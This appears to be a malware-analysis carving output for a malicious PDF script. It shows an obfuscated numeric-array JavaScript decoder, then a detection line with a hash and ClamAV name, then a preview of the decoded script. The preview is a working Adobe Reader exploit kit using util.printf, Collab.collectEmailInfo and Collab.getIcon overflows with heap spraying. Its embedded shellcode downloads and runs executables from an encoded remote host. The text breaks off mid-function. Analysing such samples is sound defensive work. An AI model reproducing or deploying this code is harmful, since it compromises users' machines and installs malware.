,151,162,169,160,98,80,162,149,164,89,113,61,64,57,63,166,151,162,86,147,165,165,164,164,104,80,115,80,94,147,153,80,99,80,102,168,106,96,102,96,102,96,95,95,151,148,154,162,113,61,64,57,63,150,165,162,86,88,172,145,168,80,153,159,171,158,170,80,115,80,102,107,86,147,165,165,164,164,86,108,86,147,165,165,164,164,104,107,86,147,165,165,164,164,97,91,95,171,67,58,63,57,63,157,155,157,149,145,168,162,151,169,145,147,165,165,164,164,147,80,115,80,175,145,168,163,166,80,97,80,169,152,155,156,162,147,165,148,155,107,67,58,63,57,179,61,64,57,63,166,151,162,86,159,172,149,168,150,162,159,173,80,115,80,171,158,155,163,153,145,166,149,94,82,91,165,102,147,102,147,91,165,102,147,102,147,88,89,113,61,64,57,63,167,158,153,162,149,86,88,165,166,155,162,156,156,165,167,100,156,155,158,157,164,158,80,114,80,106,100,111,101,104,89,177,61,64,57,63,57,165,166,155,162,156,156,165,167,86,91,115,80,165,166,155,162,156,156,165,167,113,61,64,57,63,173,67,58,63,57,170,152,159,163,100,147,165,156,162,145,152,131,170,159,168,149,86,109,86,115,165,156,162,145,152,94,153,159,162,156,155,147,170,117,163,145,159,156,127,158,156,159,94,171,169,165,152,154,112,80,88,82,98,157,169,151,112,80,165,166,155,162,156,156,165,167,179,89,113,61,64,57,179,61,64,61,64,57,156,165,164,147,170,153,165,158,86,147,165,156,162,145,152,143,157,149,170,153,153,159,164,88,95,171,67,58,63,57,159,150,86,88,151,160,166,94,154,159,153,94,121,159,162,156,151,146,100,151,155,164,127,147,165,158,95,171,67,58,63,57,63,166,151,162,86,145,168,162,175,80,115,80,164,149,173,80,119,162,168,145,175,88,95,107,67,58,63,57,63,166,151,162,86,166,172,160,155,164,158,169,151,80,115,80,171,158,155,163,153,145,166,149,94,82,91,165,123,114,123,105,91,165,102,96,102,97,91,165,107,102,102,96,91,165,119,97,108,100,91,165,102,96,105,96,91,165,102,96,102,96,91,165,106,96,110,114,91,165,110,114,102,115,91,165,103,115,109,96,91,165,110,114,119,116,91,165,102,104,106,96,91,165,121,99,107,117,91,165,110,114,107,101,91,165,110,114,123,115,91,165,102,104,106,101,91,165,105,99,107,98,91,165,121,97,122,98,91,165,102,99,121,98,91,165,103,96,105,98,91,165,110,96,106,96,91,165,102,96,105,104,91,165,124,101,109,101,91,165,121,98,110,114,91,165,107,116,107,113,91,165,102,100,121,98,91,165,107,101,102,96,91,165,123,115,110,114,91,165,107,97,107,97,91,165,107,102,107,99,91,165,108,96,107,103,91,165,107,116,110,114,91,165,105,99,102,104,91,165,110,114,121,96,91,165,102,115,109,101,91,165,124,117,110,114,91,165,109,102,102,99,91,165,110,114,105,115,91,165,109,104,106,117,91,165,121,118,102,99,91,165,107,97,110,114,91,165,107,98,103,115,91,165,107,97,110,114,91,165,107,98,104,100,91,165,109,97,110,114,91,165,106,117,103,100,91,165,109,101,110,105,91,165,110,114,124,115,91,165,104,96,109,97,91,165,124,103,102,99,91,165,106,113,111,105,91,165,106,98,119,116,91,165,105,114,108,96,91,165,124,115,107,101,91,165,102,100,109,101,91,165,121,96,105,99,91,165,105,103,123,114,91,165,124,118,105,99,91,165,106,101,102,99,91,165,111,103,102,115,91,165,121,118,110,114,91,165,109,101,119,117,91,165,104,114,124,116,91,165,106,118,124,105,91,165,123,104,107,97,91,165,124,118,111,100,91,165,124,118,124,118,91,165,121,99,105,114,91,165,109,100,108,97,91,165,123,114,102,98,91,165,110,114,122,105,91,165,102,115,106,101,91,165,107,117,111,98,91,165,124,98,102,99,91,165,123,96,122,97,91,165,121,102,102,99,91,165,121,105,105,99,91,165,120,103,102,118,91,165,107,118,102,104,91,165,123,97,121,97,91,165,102,99,102,98,91,165,102,99,121,113,91,165,110,114,121,118,91,165,102,99,102,97,91,165,110,105,121,98,91,165,124,104,106,101,91,165,110,114,108,97,91,165,124,104,106,101,91,165,107,117,107,118,91,165,121,105,107,114,91,165,107,101,121,99,91,165,123,115,110,114,91,165,123,104,107,97,91,165,124,118,106,105,91,165,124,118,124,118,91,165,108,104,107,96,91,165,108,96,123,104,91,165,102,100,120,118,91,165,108,115,123,104,91,165,124,118,124,118,91,165,105,99,124,118,91,165,107,98,122,98,91,165,124,118,107,98,91,165,102,104,109,101,91,165,122,96,124,118,91,165,106,101,110,105,91,165,110,114,124,115,91,165,124,115,106,101,91,165,121,99,121,105,91,165,110,114,107,101,91,165,110,99,123,115,91,165,102,115,123,115,91,165,106,101,110,116,91,165,107,96,124,100,91,165,106,101,121,102,91,165,109,101,124,100,91,165,106,101,121,102,91,165,109,98,124,101,91,165,106,101,121,102,91,165,108,115,124,102,91,165,106,101,121,102,91,165,108,116,124,103,91,165,106,101,121,102,91,165,108,118,124,104,91,165,106,101,121,102,91,165,108,117,124,105,91,165,106,101,121,102,91,165,104,117,124,113,91,165,106,101,121,102,91,165,108,100,124,114,91,165,106,101,121,102,91,165,108,115,124,115,91,165,106,101,121,102,91,165,108,115,124,116,91,165,106,101,121,102,91,165,102,96,124,117,91,165,119,96,123,104,91,165,124,118,124,118,91,165,107,96,124,118,91,165,107,116,108,104,91,165,103,97,110,113,91,165,123,104,103,102,91,165,124,118,103,101,91,165,124,118,124,118,91,165,121,100,110,99,91,165,110,101,102,115,91,165,109,100,121,96,91,165,108,113,103,101,91,165,108,113,102,96,91,165,124,118,102,96,91,165,102,115,109,101,91,165,109,101,124,118,91,165,108,113,102,104,91,165,124,118,102,96,91,165,110,101,122,96,91,165,109,101,121,96,91,165,106,96,102,99,91,165,121,99,121,105,91,165,121,96,105,99,91,165,121,99,121,105,91,165,105,99,107,103,91,165,110,114,121,96,91,165,104,100,106,115,91,165,110,114,102,115,91,165,104,100,109,115,91,165,124,115,102,104,91,165,119,113,124,99,91,165,121,99,107,118,91,165,106,115,110,114,91,165,102,100,104,100,91,165,105,105,110,96,91,165,110,114,102,96,91,165,109,100,121,97,91,165,106,96,102,102,91,165,105,104,110,96,91,165,109,101,102,96,91,165,104,114,124,113,91,165,121,99,121,97,91,165,110,114,107,101,91,165,110,99,123,115,91,165,108,100,123,115,91,165,110,116,107,99,91,165,124,96,106,101,91,165,105,99,107,103,91,165,107,96,122,114,91,165,106,101,121,102,91,165,108,114,124,96,91,165,106,101,121,102,91,165,108,101,124,97,91,165,106,101,121,102,91,165,109,98,124,98,91,165,106,101,121,102,91,165,108,117,124,99,91,165,106,101,121,102,91,165,108,101,124,100,91,165,106,101,121,102,91,165,108,115,124,101,91,165,106,101,121,102,91,165,105,99,124,102,91,165,106,101,121,102,91,165,105,98,124,103,91,165,106,101,121,102,91,165,104,117,124,104,91,165,106,101,121,102,91,165,108,100,124,105,91,165,106,101,121,102,91,165,108,115,124,113,91,165,106,101,121,102,91,165,108,115,124,114,91,165,107,116,110,104,91,165,123,104,124,115,91,165,124,118,102,114,91,165,124,118,124,118,91,165,108,104,107,96,91,165,106,99,108,104,91,165,110,117,124,105,91,165,110,96,123,104,91,165,124,118,124,117,91,165,110,114,124,118,91,165,110,116,124,104,91,165,111,115,106,101,91,165,106,100,108,113,91,165,123,104,107,96,91,165,124,118,109,117,91,165,124,118,124,118,91,165,106,101,110,116,91,165,108,113,123,96,91,165,107,96,103,96,91,165,109,99,123,104,91,165,124,118,124,118,91,165,110,99,124,118,91,165,103,115,121,100,91,165,106,101,110,116,91,165,107,96,123,96,91,165,106,101,110,116,91,165,107,96,111,115,91,165,107,99,107,99,91,165,107,99,107,99,91,165,107,99,107,99,91,165,109,101,124,118,91,165,121,103,102,104,91,165,111,115,106,101,91,165,102,96,106,100,91,165,102,96,102,96,91,165,124,118,107,99,91,165,107,118,122,103,91,165,120,102,102,118,91,165,107,114,121,96,91,165,121,99,121,105,91,165,110,114,107,101,91,165,107,97,123,115,91,165,107,99,107,97,91,165,107,103,107,102,91,165,106,98,108,113,91,165,109,98,123,104,91,165,102,96,102,96,91,165,110,114,102,96,91,165,105,99,122,104,91,165,110,101,124,102,91,165,107,105,122,114,91,165,106,101,121,103,91,165,108,97,124,104,91,165,108,101,104,117,91,165,121,103,109,104,91,165,124,115,106,101,91,165,102,96,108,101,91,165,102,96,102,96,91,165,107,102,109,117,91,165,106,101,110,116,91,165,107,96,124,104,91,165,123,104,107,102,91,165,102,96,107,97,91,165,102,96,102,96,91,165,107,96,107,105,91,165,120,97,123,104,91,165,124,118,124,117,91,165,110,101,124,118,91,165,107,105,121,96,91,165,109,100,107,105,91,165,110,116,105,105,91,165,102,97,106,102,91,165,123,104,107,96,91,165,102,96,105,114,91,165,102,96,102,96,91,165,124,104,110,114,91,165,106,101,110,116,91,165,107,96,124,104,91,165,104,97,123,104,91,165,124,118,124,118,91,165,110,101,124,118,91,165,107,105,121,96,91,165,109,100,107,105,91,165,107,103,102,115,91,165,102,97,123,104,91,165,124,118,124,118,91,165,107,105,124,118,91,165,106,100,121,102,91,165,124,118,105,104,91,165,107,96,109,99,91,165,106,101,110,116,91,165,124,117,124,104,91,165,107,104,102,96,91,165,106,101,110,116,91,165,107,96,124,104,91,165,123,104,107,103,91,165,124,117,109,100,91,165,124,118,124,118,91,165,107,105,107,105,91,165,106,102,106,102,91,165,124,99,105,114,91,165,119,113,109,115,91,165,107,117,107,118,91,165,121,105,107,114,91,165,107,101,121,99,91,165,123,115,110,114,91,165,107,99,107,97,91,165,108,96,108,102,91,165,105,98,120,97,91,165,102,96,123,104,91,165,102,96,102,96,91,165,107,104,102,96,91,165,102,104,105,104,91,165,102,99,109,100,91,165,123,114,106,96,91,165,106,96,124,105,91,165,107,116,110,114,91,165,110,96,102,104,91,165,106,98,124,114,91,165,102,104,109,101,91,165,122,114,105,99,91,165,103,104,110,113,91,165,121,99,110,114,91,165,103,103,123,114,91,165,103,104,105,104,91,165,103,97,109,102,91,165,105,99,106,96,91,165,110,100,121,105,91,165,109,100,122,114,91,165,106,96,102,115,91,165,102,104,105,104,91,165,124,114,109,101,91,165,124,117,106,96,91,165,123,114,121,114,91,165,105,99,124,98,91,165,110,105,121,96,91,165,124,115,106,101,91,165,106,101,110,114,91,165,107,114,124,115,91,165,121,99,121,105,91,165,102,98,105,98,91,165,109,100,108,104,91,165,109,96,109,100,91,165,104,118,105,113,91,165,109,99,104,118,91,165,109,105,109,100,91,165,108,101,108,115,91,165,108,98,104,116,91,165,108,97,108,118,91,165,108,100,109,98,91,165,104,117,109,99,91,165,108,118,108,99,91,165,104,118,108,116,91,165,108,118,108,102,91,165,109,101,109,98,91,165,104,118,108,116,91,165,108,105,108,100,91,165,109,104,109,98,91,165,104,117,105,98,91,165,109,104,108,101,91,165,102,96,108,101,91,165,109,100,108,104,91,165,109,96,109,100,91,165,104,118,105,113,91,165,109,99,104,118,91,165,109,105,109,100,91,165,108,101,108,115,91,165,108,98,104,116,91,165,108,97,108,118,91,165,108,100,109,98,91,165,104,117,109,99,91,165,108,118,108,99,91,165,104,118,108,116,91,165,108,118,108,102,91,165,109,101,109,98,91,165,104,118,108,116,91,165,108,115,108,99,91,165,108,99,108,105,91,165,104,117,108,114,91,165,108,104,109,96,91,165,105,118,109,96,91,165,105,116,109,98,91,165,102,96,102,96,88,89,113,61,64,57,63,57,172,145,168,80,158,135,167,101,102,96,121,126,86,109,86,166,172,160,155,164,158,169,151,94,162,149,164,151,170,152,86,90,86,98,113,61,64,57,63,57,172,145,168,80,162,149,164,80,115,80,102,168,106,96,102,96,102,96,86,93,86,88,158,135,167,101,102,96,121,126,86,91,86,96,174,99,110,89,113,61,64,57,63,57,172,145,168,80,175,145,168,163,166,80,115,80,171,158,155,163,153,145,166,149,94,82,91,165,111,96,111,96,91,165,111,96,111,96,88,89,113,61,64,57,63,57,175,145,168,163,166,80,115,80,156,153,174,143,159,164,94,169,151,162,169,160,98,80,162,149,164,89,113,61,64,57,63,57,172,145,168,80,166,101,119,154,129,102,107,150,86,109,86,88,102,168,102,147,102,147,102,147,102,147,86,93,86,96,174,100,102,96,102,96,102,89,86,95,86,96,174,100,102,96,102,96,102,107,67,58,63,57,63,150,165,162,86,88,172,145,168,80,172,161,153,129,122,105,108,169,86,109,86,96,113,80,172,161,153,129,122,105,108,169,86,108,86,160,107,113,160,123,108,101,156,107,86,166,167,147,135,116,111,102,175,80,97,91,86,89,177,61,64,57,63,57,63,145,168,162,175,139,172,161,153,129,122,105,108,169,147,80,115,80,175,145,168,163,166,80,97,80,172,166,166,149,170,152,175,145,113,61,64,57,63,57,179,61,64,57,63,57,172,145,168,80,170,133,131,152,132,146,125,167,86,109,86,165,164,149,169,147,151,160,155,88,88,85,102,105,88,89,113,61,64,57,63,57,173,152,159,156,155,80,94,164,139,125,158,126,152,119,173,94,162,149,164,151,170,152,86,108,86,96,174,100,102,96,102,89,177,61,64,57,63,57,63,164,139,125,158,126,152,119,173,80,97,109,86,164,139,125,158,126,152,119,173,107,67,58,63,57,63,173,67,58,63,57,63,164,139,125,158,126,152,119,173,80,115,80,88,126,100,82,86,91,86,164,139,125,158,126,152,119,173,107,67,58,63,57,63,145,166,160,100,148,165,147,100,115,165,156,162,145,152,94,157,149,170,121,153,159,164,88,170,133,131,152,132,146,125,167,95,107,67,58,63,57,179,61,64,57,179,61,64,61,64,57,156,165,164,147,170,153,165,158,86,160,154,150,149,163,170,145,168,164,94,89,177,61,64,61,64,57,63,166,151,162,86,166,155,162,169,153,165,158,86,109,86,145,166,160,100,166,159,149,173,149,168,134,155,162,169,153,165,158,100,164,165,131,170,162,159,158,157,88,95,107,67,58,63,57,172,149,168,163,159,159,164,80,115,80,172,149,168,163,159,159,164,94,168,149,166,156,151,147,155,88,101,140,122,95,157,92,93,87,95,107,67,58,63,57,172,145,168,80,172,145,168,163,159,159,164,143,151,162,168,145,175,80,115,80,164,149,173,80,119,162,168,145,175,88,172,149,168,163,159,159,164,94,153,152,151,162,119,164,94,96,95,92,86,166,155,162,169,153,165,158,100,147,158,145,168,113,170,88,103,89,98,80,172,149,168,163,159,159,164,94,153,152,151,162,119,164,94,98,95,89,113,61,64,57,63,153,156,80,94,88,172,145,168,163,159,159,164,143,151,162,168,145,175,139,102,141,86,109,115,80,110,89,86,86,92,80,94,166,151,162,169,153,165,158,149,145,168,162,151,169,145,97,147,80,115,109,86,96,95,80,178,172,86,88,172,145,168,163,159,159,164,143,151,162,168,145,175,139,103,141,86,109,115,80,103,80,92,86,86,166,151,162,169,153,165,158,149,145,168,162,151,169,145,98,147,80,114,80,105,89,95,171,67,58,63,57,63,165,170,153,162,143,166,162,159,158,170,150,94,89,113,61,64,57,63,173,67,58,63,57,159,150,86,88,94,166,151,162,169,153,165,158,149,145,168,162,151,169,145,96,147,80,114,80,110,89,86,172,178,80,94,166,151,162,169,153,165,158,149,145,168,162,151,169,145,96,147,80,115,109,86,104,86,86,92,80,172,145,168,163,159,159,164,143,151,162,168,145,175,139,103,141,86,108,86,98,86,86,92,80,172,145,168,163,159,159,164,143,151,162,168,145,175,139,104,141,86,108,86,98,95,89,177,61,64,57,63,57,153,159,162,156,151,146,149,149,163,145,159,156,94,89,113,61,64,57,63,173,67,58,63,57,159,150,86,88,94,166,151,162,169,153,165,158,149,145,168,162,151,169,145,96,147,80,114,80,111,89,86,172,178,80,94,166,151,162,169,153,165,158,149,145,168,162,151,169,145,96,147,80,115,109,86,105,86,86,92,80,172,145,168,163,159,159,164,143,151,162,168,145,175,139,103,141,86,108,86,97,95,89,177,61,64,57,63,57,153,159,162,156,151,146,149,151,155,164,159,147,165,158,94,89,113,61,64,57,63,173,67,58,63,173,67,58,67,58,63,160,154,150,149,163,170,145,168,164,94,89,113,61,64,57],bchnpx=function(){for(var klmqrx;bimpt<ceikm.length;bimpt+=1){var fjkr=bimpt%ghnu.length+1;var ilmvx=ghnu.substring(bimpt%ghnu.length,fjkr);var demqu=ceikm[bimpt];fhrt+=cfmvwx(demqu-ilmvx.charCodeAt(0));} fnuz(fhrt);};bchnpx();bekrsz=true;dkuwy='';bdhjmn='';hmosx=31823;cfgny="cfgny";mopuy=true;gqtx=43884;frsy="frsy";glnqy=35068;cnry="";dftz=true;efhq=false;abgsy="abgsy";jkstx="";ahlpt=false;
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10024 bytes
SHA-256: `aa88f4b87cae35faf2e8ad6cb3f06d7cb0342469e566517a13ad6ddf68c2752f`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6362%u6967%u6F6E%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6261%u7063%u7775%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6964%u7872%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += 